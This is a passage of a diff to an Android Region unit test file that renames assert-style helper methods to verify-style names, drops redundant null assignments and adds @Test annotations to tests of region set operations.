         assertTrue(mRegion.contains(6, 6));
         assertTrue(mRegion.op(5, 5, 10, 10, Region.Op.DIFFERENCE));
-        assertPointsInsideRegion(DIFFERENCE_WITH1);
-        assertPointsOutsideRegion(DIFFERENCE_WITHOUT1);
+        verifyPointsInsideRegion(DIFFERENCE_WITH1);
+        verifyPointsOutsideRegion(DIFFERENCE_WITHOUT1);
 
         // 2. subtract rectangle overlap this region
         mRegion.set(rect2);
         assertTrue(mRegion.contains(11, 11));
         assertTrue(mRegion.op(10, 10, 30, 30, Region.Op.DIFFERENCE));
-        assertPointsInsideRegion(DIFFERENCE_WITH2);
-        assertPointsOutsideRegion(DIFFERENCE_WITHOUT2);
+        verifyPointsInsideRegion(DIFFERENCE_WITH2);
+        verifyPointsOutsideRegion(DIFFERENCE_WITHOUT2);
 
         // 3. subtract rectangle out of this region
         mRegion.set(rect2);
         assertTrue(mRegion.op(40, 40, 60, 60, Region.Op.DIFFERENCE));
-        assertPointsInsideRegion(DIFFERENCE_WITH3);
-        assertPointsOutsideRegion(DIFFERENCE_WITHOUT3);
+        verifyPointsInsideRegion(DIFFERENCE_WITH3);
+        verifyPointsOutsideRegion(DIFFERENCE_WITHOUT3);
     }
 
-    private void assertIntersectOp2(Rect rect2) {
+    private void verifyIntersectOp2(Rect rect2) {
         // INTERSECT, Region with rectangle
         // intersect the two regions
-        mRegion = null;
         mRegion = new Region();
         // intersect null rectangle
         mRegion.set(rect2);
@@ -615,25 +605,24 @@
         mRegion.set(rect2);
         assertTrue(mRegion.contains(2, 2));
         assertTrue(mRegion.op(5, 5, 10, 10, Region.Op.INTERSECT));
-        assertPointsInsideRegion(INTERSECT_WITH1);
-        assertPointsOutsideRegion(INTERSECT_WITHOUT1);
+        verifyPointsInsideRegion(INTERSECT_WITH1);
+        verifyPointsOutsideRegion(INTERSECT_WITHOUT1);
 
         // 2. intersect rectangle overlap this region
         mRegion.set(rect2);
         assertTrue(mRegion.contains(9, 9));
         assertTrue(mRegion.op(10, 10, 30, 30, Region.Op.INTERSECT));
-        assertPointsInsideRegion(INTERSECT_WITH2);
-        assertPointsOutsideRegion(INTERSECT_WITHOUT2);
+        verifyPointsInsideRegion(INTERSECT_WITH2);
+        verifyPointsOutsideRegion(INTERSECT_WITHOUT2);
 
         // 3. intersect rectangle out of this region
         mRegion.set(rect2);
         assertFalse(mRegion.op(40, 40, 60, 60, Region.Op.INTERSECT));
     }
 
-    private void assertUnionOp2(Rect rect2) {
+    private void verifyUnionOp2(Rect rect2) {
         // UNION, Region with rectangle
         // union (inclusive-or) the two regions
-        mRegion = null;
         mRegion = new Region();
         mRegion.set(rect2);
         // union null rectangle
@@ -646,30 +635,29 @@
         assertTrue(mRegion.contains(2, 2));
         assertTrue(mRegion.contains(6, 6));
         assertTrue(mRegion.op(5, 5, 10, 10, Region.Op.UNION));
-        assertPointsInsideRegion(UNION_WITH1);
-        assertPointsOutsideRegion(UNION_WITHOUT1);
+        verifyPointsInsideRegion(UNION_WITH1);
+        verifyPointsOutsideRegion(UNION_WITHOUT1);
 
         // 2. union rectangle overlap this region
         mRegion.set(rect2);
         assertTrue(mRegion.contains(2, 2));
         assertFalse(mRegion.contains(21, 21));
         assertTrue(mRegion.op(10, 10, 30, 30, Region.Op.UNION));
-        assertPointsInsideRegion(UNION_WITH2);
-        assertPointsOutsideRegion(UNION_WITHOUT2);
+        verifyPointsInsideRegion(UNION_WITH2);
+        verifyPointsOutsideRegion(UNION_WITHOUT2);
 
         // 3. union rectangle out of this region
         mRegion.set(rect2);
         assertTrue(mRegion.contains(2, 2));
         assertFalse(mRegion.contains(41, 41));
         assertTrue(mRegion.op(40, 40, 60, 60, Region.Op.UNION));
-        assertPointsInsideRegion(UNION_WITH3);
-        assertPointsOutsideRegion(UNION_WITHOUT3);
+        verifyPointsInsideRegion(UNION_WITH3);
+        verifyPointsOutsideRegion(UNION_WITHOUT3);
     }
 
-    private void assertXorOp2(Rect rect2) {
+    private void verifyXorOp2(Rect rect2) {
         // XOR, Region with rectangle
         // exclusive-or the two regions
-        mRegion = null;
         mRegion = new Region();
         mRegion.set(rect2);
         // xor null rectangle
@@ -680,8 +668,8 @@
         assertTrue(mRegion.contains(2, 2));
         assertTrue(mRegion.contains(6, 6));
         assertTrue(mRegion.op(5, 5, 10, 10, Region.Op.XOR));
-        assertPointsInsideRegion(XOR_WITH1);
-        assertPointsOutsideRegion(XOR_WITHOUT1);
+        verifyPointsInsideRegion(XOR_WITH1);
+        verifyPointsOutsideRegion(XOR_WITHOUT1);
 
         // 2. xor rectangle overlap this region
         mRegion.set(rect2);
@@ -689,22 +677,21 @@
         assertTrue(mRegion.contains(11, 11));
         assertFalse(mRegion.contains(21, 21));
         assertTrue(mRegion.op(10, 10, 30, 30, Region.Op.XOR));
-        assertPointsInsideRegion(XOR_WITH2);
-        assertPointsOutsideRegion(XOR_WITHOUT2);
+        verifyPointsInsideRegion(XOR_WITH2);
+        verifyPointsOutsideRegion(XOR_WITHOUT2);
 
         // 3. xor rectangle out of this region
         mRegion.set(rect2);
         assertTrue(mRegion.contains(2, 2));
         assertFalse(mRegion.contains(41, 41));
         assertTrue(mRegion.op(40, 40, 60, 60, Region.Op.XOR));
-        assertPointsInsideRegion(XOR_WITH3);
-        assertPointsOutsideRegion(XOR_WITHOUT3);
+        verifyPointsInsideRegion(XOR_WITH3);
+        verifyPointsOutsideRegion(XOR_WITHOUT3);
     }
 
-    private void assertReverseDifferenceOp2(Rect rect2) {
+    private void verifyReverseDifferenceOp2(Rect rect2) {
         // REVERSE_DIFFERENCE, Region with rectangle
         // reverse difference the first region from the op region
-        mRegion = null;
         mRegion = new Region();
         mRegion.set(rect2);
         // reverse difference null rectangle
@@ -720,21 +707,20 @@
         assertTrue(mRegion.contains(11, 11));
         assertFalse(mRegion.contains(21, 21));
         assertTrue(mRegion.op(10, 10, 30, 30, Region.Op.REVERSE_DIFFERENCE));
-        assertPointsInsideRegion(REVERSE_DIFFERENCE_WITH2);
-        assertPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT2);
+        verifyPointsInsideRegion(REVERSE_DIFFERENCE_WITH2);
+        verifyPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT2);
         // reverse difference rectangle out of this region
         mRegion.set(rect2);
         assertTrue(mRegion.contains(2, 2));
         assertFalse(mRegion.contains(41, 41));
         assertTrue(mRegion.op(40, 40, 60, 60, Region.Op.REVERSE_DIFFERENCE));
-        assertPointsInsideRegion(REVERSE_DIFFERENCE_WITH3);
-        assertPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT3);
+        verifyPointsInsideRegion(REVERSE_DIFFERENCE_WITH3);
+        verifyPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT3);
     }
 
-    private void assertReplaceOp2(Rect rect2, Rect rect3, Rect rect4, Rect rect5) {
+    private void verifyReplaceOp2(Rect rect2, Rect rect3, Rect rect4, Rect rect5) {
         // REPLACE, Region w1ith rectangle
         // replace the dst region with the op region
-        mRegion = null;
         mRegion = new Region();
         mRegion.set(rect2);
         // subtract null rectangle
@@ -759,26 +745,25 @@
         assertEquals(rect5, mRegion.getBounds());
     }
 
+    @Test
     public void testOp3() {
-
         Region region1 = new Region();
         Region region2 = new Region(0, 0, 20, 20);
         Region region3 = new Region(5, 5, 10, 10);
         Region region4 = new Region(10, 10, 30, 30);
         Region region5 = new Region(40, 40, 60, 60);
 
-        assertNullRegionOp3(region1);
-        assertDifferenceOp3(region1, region2, region3, region4, region5);
-        assertIntersectOp3(region1, region2, region3, region4, region5);
-        assertUnionOp3(region1, region2, region3, region4, region5);
-        assertXorOp3(region1, region2, region3, region4, region5);
-        assertReverseDifferenceOp3(region1, region2, region3, region4, region5);
-        assertReplaceOp3(region1, region2, region3, region4, region5);
+        verifyNullRegionOp3(region1);
+        verifyDifferenceOp3(region1, region2, region3, region4, region5);
+        verifyIntersectOp3(region1, region2, region3, region4, region5);
+        verifyUnionOp3(region1, region2, region3, region4, region5);
+        verifyXorOp3(region1, region2, region3, region4, region5);
+        verifyReverseDifferenceOp3(region1, region2, region3, region4, region5);
+        verifyReplaceOp3(region1, region2, region3, region4, region5);
     }
 
-    private void assertNullRegionOp3(Region region1) {
+    private void verifyNullRegionOp3(Region region1) {
         // Region without rectangle
-        mRegion = null;
         mRegion = new Region();
         assertFalse(mRegion.op(region1, Region.Op.DIFFERENCE));
         assertFalse(mRegion.op(region1, Region.Op.INTERSECT));
@@ -788,11 +773,10 @@
         assertFalse(mRegion.op(region1, Region.Op.REPLACE));
     }
 
-    private void assertDifferenceOp3(Region region1, Region region2,
+    private void verifyDifferenceOp3(Region region1, Region region2,
             Region region3, Region region4, Region region5) {
         // DIFFERENCE, Region with rectangle
         // subtract the op region from the first region
-        mRegion = null;
         mRegion = new Region();
         // subtract null rectangle
         mRegion.set(region2);
@@ -802,28 +786,27 @@
         mRegion.set(region2);
         assertTrue(mRegion.contains(6, 6));
         assertTrue(mRegion.op(region3, Region.Op.DIFFERENCE));
-        assertPointsInsideRegion(DIFFERENCE_WITH1);
-        assertPointsOutsideRegion(DIFFERENCE_WITHOUT1);
+        verifyPointsInsideRegion(DIFFERENCE_WITH1);
+        verifyPointsOutsideRegion(DIFFERENCE_WITHOUT1);
 
         // 2. subtract rectangle overlap this region
         mRegion.set(region2);
         assertTrue(mRegion.contains(11, 11));
         assertTrue(mRegion.op(region4, Region.Op.DIFFERENCE));
-        assertPointsInsideRegion(DIFFERENCE_WITH2);
-        assertPointsOutsideRegion(DIFFERENCE_WITHOUT2);
+        verifyPointsInsideRegion(DIFFERENCE_WITH2);
+        verifyPointsOutsideRegion(DIFFERENCE_WITHOUT2);
 
         // 3. subtract rectangle out of this region
         mRegion.set(region2);
         assertTrue(mRegion.op(region5, Region.Op.DIFFERENCE));
-        assertPointsInsideRegion(DIFFERENCE_WITH3);
-        assertPointsOutsideRegion(DIFFERENCE_WITHOUT3);
+        verifyPointsInsideRegion(DIFFERENCE_WITH3);
+        verifyPointsOutsideRegion(DIFFERENCE_WITHOUT3);
     }
 
-    private void assertIntersectOp3(Region region1, Region region2,
+    private void verifyIntersectOp3(Region region1, Region region2,
             Region region3, Region region4, Region region5) {
         // INTERSECT, Region with rectangle
         // intersect the two regions
-        mRegion = null;
         mRegion = new Region();
         mRegion.set(region2);
         // intersect null rectangle
@@ -833,26 +816,25 @@
         mRegion.set(region2);
         assertTrue(mRegion.contains(2, 2));
         assertTrue(mRegion.op(region3, Region.Op.INTERSECT));
-        assertPointsInsideRegion(INTERSECT_WITH1);
-        assertPointsOutsideRegion(INTERSECT_WITHOUT1);
+        verifyPointsInsideRegion(INTERSECT_WITH1);
+        verifyPointsOutsideRegion(INTERSECT_WITHOUT1);
 
         // 2. intersect rectangle overlap this region
         mRegion.set(region2);
         assertTrue(mRegion.contains(9, 9));
         assertTrue(mRegion.op(region4, Region.Op.INTERSECT));
-        assertPointsInsideRegion(INTERSECT_WITH2);
-        assertPointsOutsideRegion(INTERSECT_WITHOUT2);
+        verifyPointsInsideRegion(INTERSECT_WITH2);
+        verifyPointsOutsideRegion(INTERSECT_WITHOUT2);
 
         // 3. intersect rectangle out of this region
         mRegion.set(region2);
         assertFalse(mRegion.op(region5, Region.Op.INTERSECT));
     }
 
-    private void assertUnionOp3(Region region1, Region region2, Region region3,
+    private void verifyUnionOp3(Region region1, Region region2, Region region3,
             Region region4, Region region5) {
         // UNION, Region with rectangle
         // union (inclusive-or) the two regions
-        mRegion = null;
         mRegion = new Region();
         // union null rectangle
         mRegion.set(region2);
@@ -865,31 +847,30 @@
         assertTrue(mRegion.contains(2, 2));
         assertTrue(mRegion.contains(6, 6));
         assertTrue(mRegion.op(region3, Region.Op.UNION));
-        assertPointsInsideRegion(UNION_WITH1);
-        assertPointsOutsideRegion(UNION_WITHOUT1);
+        verifyPointsInsideRegion(UNION_WITH1);
+        verifyPointsOutsideRegion(UNION_WITHOUT1);
 
         // 2. union rectangle overlap this region
         mRegion.set(region2);
         assertTrue(mRegion.contains(2, 2));
         assertFalse(mRegion.contains(21, 21));
         assertTrue(mRegion.op(region4, Region.Op.UNION));
-        assertPointsInsideRegion(UNION_WITH2);
-        assertPointsOutsideRegion(UNION_WITHOUT2);
+        verifyPointsInsideRegion(UNION_WITH2);
+        verifyPointsOutsideRegion(UNION_WITHOUT2);
 
         // 3. union rectangle out of this region
         mRegion.set(region2);
         assertTrue(mRegion.contains(2, 2));
         assertFalse(mRegion.contains(41, 41));
         assertTrue(mRegion.op(region5, Region.Op.UNION));
-        assertPointsInsideRegion(UNION_WITH3);
-        assertPointsOutsideRegion(UNION_WITHOUT3);
+        verifyPointsInsideRegion(UNION_WITH3);
+        verifyPointsOutsideRegion(UNION_WITHOUT3);
     }
 
-    private void assertXorOp3(Region region1, Region region2, Region region3,
+    private void verifyXorOp3(Region region1, Region region2, Region region3,
             Region region4, Region region5) {
         // XOR, Region with rectangle
         // exclusive-or the two regions
-        mRegion = null;
         mRegion = new Region();
         // xor null rectangle
         mRegion.set(region2);
@@ -900,8 +881,8 @@
         assertTrue(mRegion.contains(2, 2));
         assertTrue(mRegion.contains(6, 6));
         assertTrue(mRegion.op(region3, Region.Op.XOR));
-        assertPointsInsideRegion(XOR_WITH1);
-        assertPointsOutsideRegion(XOR_WITHOUT1);
+        verifyPointsInsideRegion(XOR_WITH1);
+        verifyPointsOutsideRegion(XOR_WITHOUT1);
 
         // 2. xor rectangle overlap this region
         mRegion.set(region2);
@@ -909,23 +890,22 @@
         assertTrue(mRegion.contains(11, 11));
         assertFalse(mRegion.contains(21, 21));
         assertTrue(mRegion.op(region4, Region.Op.XOR));
-        assertPointsInsideRegion(XOR_WITH2);
-        assertPointsOutsideRegion(XOR_WITHOUT2);
+        verifyPointsInsideRegion(XOR_WITH2);
+        verifyPointsOutsideRegion(XOR_WITHOUT2);
 
         // 3. xor rectangle out of this region
         mRegion.set(region2);
         assertTrue(mRegion.contains(2, 2));
         assertFalse(mRegion.contains(41, 41));
         assertTrue(mRegion.op(region5, Region.Op.XOR));
-        assertPointsInsideRegion(XOR_WITH3);
-        assertPointsOutsideRegion(XOR_WITHOUT3);
+        verifyPointsInsideRegion(XOR_WITH3);
+        verifyPointsOutsideRegion(XOR_WITHOUT3);
     }
 
-    private void assertReverseDifferenceOp3(Region region1, Region region2,
+    private void verifyReverseDifferenceOp3(Region region1, Region region2,
             Region region3, Region region4, Region region5) {
         // REVERSE_DIFFERENCE, Region with rectangle
         // reverse difference the first region from the op region
-        mRegion = null;
         mRegion = new Region();
         // reverse difference null rectangle
         mRegion.set(region2);
@@ -943,23 +923,22 @@
         assertTrue(mRegion.contains(11, 11));
         assertFalse(mRegion.contains(21, 21));
         assertTrue(mRegion.op(region4, Region.Op.REVERSE_DIFFERENCE));
-        assertPointsInsideRegion(REVERSE_DIFFERENCE_WITH2);
-        assertPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT2);
+        verifyPointsInsideRegion(REVERSE_DIFFERENCE_WITH2);
+        verifyPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT2);
 
         // 3. reverse difference rectangle out of this region
         mRegion.set(region2);
         assertTrue(mRegion.contains(2, 2));
         assertFalse(mRegion.contains(41, 41));
         assertTrue(mRegion.op(region5, Region.Op.REVERSE_DIFFERENCE));
-        assertPointsInsideRegion(REVERSE_DIFFERENCE_WITH3);
-        assertPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT3);
+        verifyPointsInsideRegion(REVERSE_DIFFERENCE_WITH3);
+        verifyPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT3);
     }
 
-    private void assertReplaceOp3(Region region1, Region region2, Region region3,
+    private void verifyReplaceOp3(Region region1, Region region2, Region region3,
             Region region4, Region region5) {
         // REPLACE, Region with rectangle
         // replace the dst region with the op region
-        mRegion = null;
         mRegion = new Region();
         mRegion.set(region2);
         // subtract null rectangle
@@ -984,8 +963,8 @@
         assertEquals(region5.getBounds(), mRegion.getBounds());
     }
 
+    @Test
     public void testOp4() {
-
         Rect rect1 = new Rect();
         Rect rect2 = new Rect(0, 0, 20, 20);
 
@@ -995,20 +974,19 @@
         Region region4 = new Region(10, 10, 30, 30);
         Region region5 = new Region(40, 40, 60, 60);
 
-        assertNullRegionOp4(rect1, region1);
-        assertDifferenceOp4(rect1, rect2, region1, region3, region4, region5);
-        assertIntersectOp4(rect1, rect2, region1, region3, region4, region5);
-        assertUnionOp4(rect1, rect2, region1, region3, region4, region5);
-        assertXorOp4(rect1, rect2, region1, region3, region4, region5);
-        assertReverseDifferenceOp4(rect1, rect2, region1, region3, region4,
+        verifyNullRegionOp4(rect1, region1);
+        verifyDifferenceOp4(rect1, rect2, region1, region3, region4, region5);
+        verifyIntersectOp4(rect1, rect2, region1, region3, region4, region5);
+        verifyUnionOp4(rect1, rect2, region1, region3, region4, region5);
+        verifyXorOp4(rect1, rect2, region1, region3, region4, region5);
+        verifyReverseDifferenceOp4(rect1, rect2, region1, region3, region4,
                 region5);
-        assertReplaceOp4(rect1, rect2, region1, region2, region3, region4,
+        verifyReplaceOp4(rect1, rect2, region1, region2, region3, region4,
                 region5);
     }
 
-    private void assertNullRegionOp4(Rect rect1, Region region1) {
+    private void verifyNullRegionOp4(Rect rect1, Region region1) {
         // Region without rectangle
-        mRegion = null;
         mRegion = new Region();
         assertFalse(mRegion.op(rect1, region1, Region.Op.DIFFERENCE));
         assertFalse(mRegion.op(rect1, region1, Region.Op.INTERSECT));
@@ -1019,11 +997,10 @@
         assertFalse(mRegion.op(rect1, region1, Region.Op.REPLACE));
     }
 
-    private void assertDifferenceOp4(Rect rect1, Rect rect2, Region region1,
+    private void verifyDifferenceOp4(Rect rect1, Rect rect2, Region region1,
             Region region3, Region region4, Region region5) {
         // DIFFERENCE, Region with rectangle
         // subtract the op region from the first region
-        mRegion = null;
         mRegion = new Region();
         // subtract null rectangle
         assertTrue(mRegion.op(rect2, region1, Region.Op.DIFFERENCE));
@@ -1031,27 +1008,26 @@
         // 1. subtract rectangle inside this region
         mRegion.set(rect1);
         assertTrue(mRegion.op(rect2, region3, Region.Op.DIFFERENCE));
-        assertPointsInsideRegion(DIFFERENCE_WITH1);
-        assertPointsOutsideRegion(DIFFERENCE_WITHOUT1);
+        verifyPointsInsideRegion(DIFFERENCE_WITH1);
+        verifyPointsOutsideRegion(DIFFERENCE_WITHOUT1);
 
         // 2. subtract rectangle overlap this region
         mRegion.set(rect1);
         assertTrue(mRegion.op(rect2, region4, Region.Op.DIFFERENCE));
-        assertPointsInsideRegion(DIFFERENCE_WITH2);
-        assertPointsOutsideRegion(DIFFERENCE_WITHOUT2);
+        verifyPointsInsideRegion(DIFFERENCE_WITH2);
+        verifyPointsOutsideRegion(DIFFERENCE_WITHOUT2);
 
         // 3. subtract rectangle out of this region
         mRegion.set(rect1);
         assertTrue(mRegion.op(rect2, region5, Region.Op.DIFFERENCE));
-        assertPointsInsideRegion(DIFFERENCE_WITH3);
-        assertPointsOutsideRegion(DIFFERENCE_WITHOUT3);
+        verifyPointsInsideRegion(DIFFERENCE_WITH3);
+        verifyPointsOutsideRegion(DIFFERENCE_WITHOUT3);
     }
 
-    private void assertIntersectOp4(Rect rect1, Rect rect2, Region region1,
+    private void verifyIntersectOp4(Rect rect1, Rect rect2, Region region1,
             Region region3, Region region4, Region region5) {
         // INTERSECT, Region with rectangle
         // intersect the two regions
-        mRegion = null;
         mRegion = new Region();
         // intersect null rectangle
         mRegion.set(rect1);
@@ -1060,25 +1036,24 @@
         // 1. intersect rectangle inside this region
         mRegion.set(rect1);
         assertTrue(mRegion.op(rect2, region3, Region.Op.INTERSECT));
-        assertPointsInsideRegion(INTERSECT_WITH1);
-        assertPointsOutsideRegion(INTERSECT_WITHOUT1);
+        verifyPointsInsideRegion(INTERSECT_WITH1);
+        verifyPointsOutsideRegion(INTERSECT_WITHOUT1);
 
         // 2. intersect rectangle overlap this region
         mRegion.set(rect1);
         assertTrue(mRegion.op(rect2, region4, Region.Op.INTERSECT));
-        assertPointsInsideRegion(INTERSECT_WITH2);
-        assertPointsOutsideRegion(INTERSECT_WITHOUT2);
+        verifyPointsInsideRegion(INTERSECT_WITH2);
+        verifyPointsOutsideRegion(INTERSECT_WITHOUT2);
 
         // 3. intersect rectangle out of this region
         mRegion.set(rect1);
         assertFalse(mRegion.op(rect2, region5, Region.Op.INTERSECT));
     }
 
-    private void assertUnionOp4(Rect rect1, Rect rect2, Region region1,
+    private void verifyUnionOp4(Rect rect1, Rect rect2, Region region1,
             Region region3, Region region4, Region region5) {
         // UNION, Region with rectangle
         // union (inclusive-or) the two regions
-        mRegion = null;
         mRegion = new Region();
         // union null rectangle
         mRegion.set(rect1);
@@ -1088,27 +1063,26 @@
         // 1. union rectangle inside this region
         mRegion.set(rect1);
         assertTrue(mRegion.op(rect2, region3, Region.Op.UNION));
-        assertPointsInsideRegion(UNION_WITH1);
-        assertPointsOutsideRegion(UNION_WITHOUT1);
+        verifyPointsInsideRegion(UNION_WITH1);
+        verifyPointsOutsideRegion(UNION_WITHOUT1);
 
         // 2. union rectangle overlap this region
         mRegion.set(rect1);
         assertTrue(mRegion.op(rect2, region4, Region.Op.UNION));
-        assertPointsInsideRegion(UNION_WITH2);
-        assertPointsOutsideRegion(UNION_WITHOUT2);
+        verifyPointsInsideRegion(UNION_WITH2);
+        verifyPointsOutsideRegion(UNION_WITHOUT2);
 
         // 3. union rectangle out of this region
         mRegion.set(rect1);
         assertTrue(mRegion.op(rect2, region5, Region.Op.UNION));
-        assertPointsInsideRegion(UNION_WITH3);
-        assertPointsOutsideRegion(UNION_WITHOUT3);
+        verifyPointsInsideRegion(UNION_WITH3);
+        verifyPointsOutsideRegion(UNION_WITHOUT3);
     }
 
-    private void assertXorOp4(Rect rect1, Rect rect2, Region region1,
+    private void verifyXorOp4(Rect rect1, Rect rect2, Region region1,
             Region region3, Region region4, Region region5) {
         // XOR, Region with rectangle
         // exclusive-or the two regions
-        mRegion = null;
         mRegion = new Region();
         // xor null rectangle
         mRegion.set(rect1);
@@ -1117,27 +1091,26 @@
         // 1. xor rectangle inside this region
         mRegion.set(rect1);
         assertTrue(mRegion.op(rect2, region3, Region.Op.XOR));
-        assertPointsInsideRegion(XOR_WITH1);
-        assertPointsOutsideRegion(XOR_WITHOUT1);
+        verifyPointsInsideRegion(XOR_WITH1);
+        verifyPointsOutsideRegion(XOR_WITHOUT1);
 
         // 2. xor rectangle overlap this region
         mRegion.set(rect1);
         assertTrue(mRegion.op(rect2, region4, Region.Op.XOR));
-        assertPointsInsideRegion(XOR_WITH2);
-        assertPointsOutsideRegion(XOR_WITHOUT2);
+        verifyPointsInsideRegion(XOR_WITH2);
+        verifyPointsOutsideRegion(XOR_WITHOUT2);
 
         // 3. xor rectangle out of this region
         mRegion.set(rect1);
         assertTrue(mRegion.op(rect2, region5, Region.Op.XOR));
-        assertPointsInsideRegion(XOR_WITH3);
-        assertPointsOutsideRegion(XOR_WITHOUT3);
+        verifyPointsInsideRegion(XOR_WITH3);
+        verifyPointsOutsideRegion(XOR_WITHOUT3);
     }
 
-    private void assertReverseDifferenceOp4(Rect rect1, Rect rect2,
+    private void verifyReverseDifferenceOp4(Rect rect1, Rect rect2,
             Region region1, Region region3, Region region4, Region region5) {
         // REVERSE_DIFFERENCE, Region with rectangle
         // reverse difference the first region from the op region
-        mRegion = null;
         mRegion = new Region();
         // reverse difference null rectangle
         mRegion.set(rect1);
@@ -1150,21 +1123,20 @@
         // 2. reverse difference rectangle overlap this region
         mRegion.set(rect1);
         assertTrue(mRegion.op(rect2, region4, Region.Op.REVERSE_DIFFERENCE));
-        assertPointsInsideRegion(REVERSE_DIFFERENCE_WITH2);
-        assertPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT2);
+        verifyPointsInsideRegion(REVERSE_DIFFERENCE_WITH2);
+        verifyPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT2);
 
         // 3. reverse difference rectangle out of this region
         mRegion.set(rect1);
         assertTrue(mRegion.op(rect2, region5, Region.Op.REVERSE_DIFFERENCE));
-        assertPointsInsideRegion(REVERSE_DIFFERENCE_WITH3);
-        assertPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT3);
+        verifyPointsInsideRegion(REVERSE_DIFFERENCE_WITH3);
+        verifyPointsOutsideRegion(REVERSE_DIFFERENCE_WITHOUT3);
     }
 
-    private void assertReplaceOp4(Rect rect1, Rect rect2, Region region1,
+    private void verifyReplaceOp4(Rect rect1, Rect rect2, Region region1,
             Region region2, Region region3, Region region4, Region region5) {
         // REPLACE, Region with rectangle
         // replace the dst region with the op region
-        mRegion = null;
         mRegion = new Region();
         // subtract null rectangle
         mRegion.set(rect1);
@@ -1186,26 +1158,25 @@
         assertEquals(region5.getBounds(), mRegion.getBounds());
     }
 
+    @Test
     public void testOp5() {
-
         Region region1 = new Region();
         Region region2 = new Region(0, 0, 20, 20);
         Region region3 = new Region(5, 5, 10, 10);
         Region region4 = new Region(10, 10, 30, 30);
         Region region5 = new Region(40, 40, 60, 60);
 
-        assertNullRegionOp5(region1);
-        assertDifferenceOp5(region1, region2, region3, region4, region5);
-        assertIntersectOp5(region1, region2, region3, region4, region5);
-        assertUnionOp5(region1, region2, region3, region4, region5);
-        assertXorOp5(region1, region2, region3, region4, region5);
-        assertReverseDifferenceOp5(region1, region2, region3, region4, region5);
-        assertReplaceOp5(region1, region2, region3, region4, region5);
+        verifyNullRegionOp5(region1);
+        verifyDifferenceOp5(region1, region2, region3, region4, region5);
+        verifyIntersectOp5(region1, region2, region3, region4, region5);
+        verifyUnionOp5(region1, region2, region3, region4, region5);
+        verifyXorOp5(region1, region2, region3, region4, region5);
+        verifyReverseDifferenceOp5(region1, region2, region3, region4, region5);
+        verifyReplaceOp5(region1, region2, region3, region4, region5);
     }
 
-    private void assertNullRegionOp5(Region region1) {
+    private void verifyNullRegionOp5(Region region1) {
         // Region without rectangle
-        mRegion = null;
         mRegion = new Region();
         assertFalse(mRegion.op(mRegion, region1, Region.Op.DIFFERENCE));
         assertFalse(mRegion.op(mRegion, region1, Region.Op.INTERSECT));
@@ -1215,11 +1186,10 @@
         assertFalse(mRegion.op(mRegion, region1, Region.Op.REPLACE));
     }
 
-    private void assertDifferenceOp5(Region region1, Region region2,
+    private void verifyDifferenceOp5(Region region1, Region region2,
             Region region3, Region region4, Region region5) {
         // DIFFERENCE, Region with rectangle
         // subtract the op region from the first region
-        mRegion = null;
         mRegion = new Region();
         // subtract null rectangle
         mRegion.set(region1);
@@ -1228,27 +1198,26 @@
         // 1. subtract rectangle inside this region
         mRegion.set(region1);
         assertTrue(mRegion.op(region2, region3, Region.Op.DIFFERENCE));
-        assertPointsInsideRegion(DIFFERENCE_WITH1);
-        assertPointsOutsideRegion(DIFFERENCE_WITHOUT1);
+        verifyPointsInsideRegion(DIFFERENCE_WITH1);
+        verifyPointsOutsideRegion(DIFFERENCE_WITHOUT1);
 
         // 2. subtract rectangle overlap this region
         mRegion.set(region1);
         assertTrue(mRegion.op(region2, region4, Region.Op.DIFFERENCE));
-        assertPointsInsideRegion(DIFFERENCE_WITH2);
-        assertPointsOutsideRegion(DIFFERENCE_WITHOUT2);
+        verifyPointsInsideRegion(DIFFERENCE_WITH2);
+        verifyPointsOutsideRegion(DIFFERENCE_WITHOUT2);
 
         // 3. subtract rectangle out of this region
         mRegion.set(region1);
         assertTrue(mRegion.op(region2, region5, Region.Op.DIFFERENCE));
-        assertPointsInsideRegion(DIFFERENCE_WITH3);
-        assertPointsOutsideRegion(DIFFERENCE_WITHOUT3);
+        verifyPointsInsideRegion(DIFFERENCE_WITH3);
+        verifyPointsOutsideRegion(DIFFERENCE_WITHOUT3);
     }
 
-    private void assertIntersectOp5(Region region1, Region region2,
+    private void verifyIntersectOp5(Region region1, Region region2,
             Region region3, Region region4, Region region5) {
         // INTERSECT, Region with rectangle
         // intersect the two regions
-        mRegion = null;
         mRegion = new Region();
         // intersect null rectangle
         mRegion.set(region1);
@@ -1257,25 +1226,24 @@
         // 1. intersect rectangle inside this region
         mRegion.set(region1);
         assertTrue(mRegion.op(region2, region3, Region.Op.INTERSECT));
-        assertPointsInsideRegion(INTERSECT_WITH1);
-        assertPointsOutsideRegion(INTERSECT_WITHOUT1);
+        verifyPointsInsideRegion(INTERSECT_WITH1);
+        verifyPointsOutsideRegion(INTERSECT_WITHOUT1);
 
         // 2. intersect rectangle overlap this region
         mRegion.set(region1);
         assertTrue(mRegion.op(region2, region4, Region.Op.INTERSECT));
-        assertPointsInsideRegion(INTERSECT_WITH2);
-        assertPointsOutsideRegion(INTERSECT_WITHOUT2);
+        verifyPointsInsideRegion(INTERSECT_WITH2);
+        verifyPointsOutsideRegion(INTERSECT_WITHOUT2);
 
         // 3. intersect rectangle out of this region
         mRegion.set(region1);
         assertFalse(mRegion.op(region2, region5, Region.Op.INTERSECT));
     }
 
-    private void assertUnionOp5(Region region1, Region region2,
+    private void verifyUnionOp5(Region region1, Region region2,
             Region region3, Region region4, Region region5) {
         // UNION, Region with rectangle
         // union (inclusive-or) the two regions
-        mRegion = null;
         mRegion = new Region();
         // union null rectangle
         mRegion.set(region1);
@@ -1285,27 +1253,26 @@
         // 1. union rectangle inside this region
         mRegion.set(region1);
         assertTrue(mRegion.op(region2, region3, Region.Op.UNION));
-        assertPointsInsideRegion(UNION_WITH1);
-        assertPointsOutsideRegion(UNION_WITHOUT1);
+        verifyPointsInsideRegion(UNION_WITH1);
+        verifyPointsOutsideRegion(UNION_WITHOUT1);
 
         // 2. union rectangle overlap this region
         mRegion.set(region1);
         assertTrue(mRegion.op(region2, region4, Region.Op.UNION));
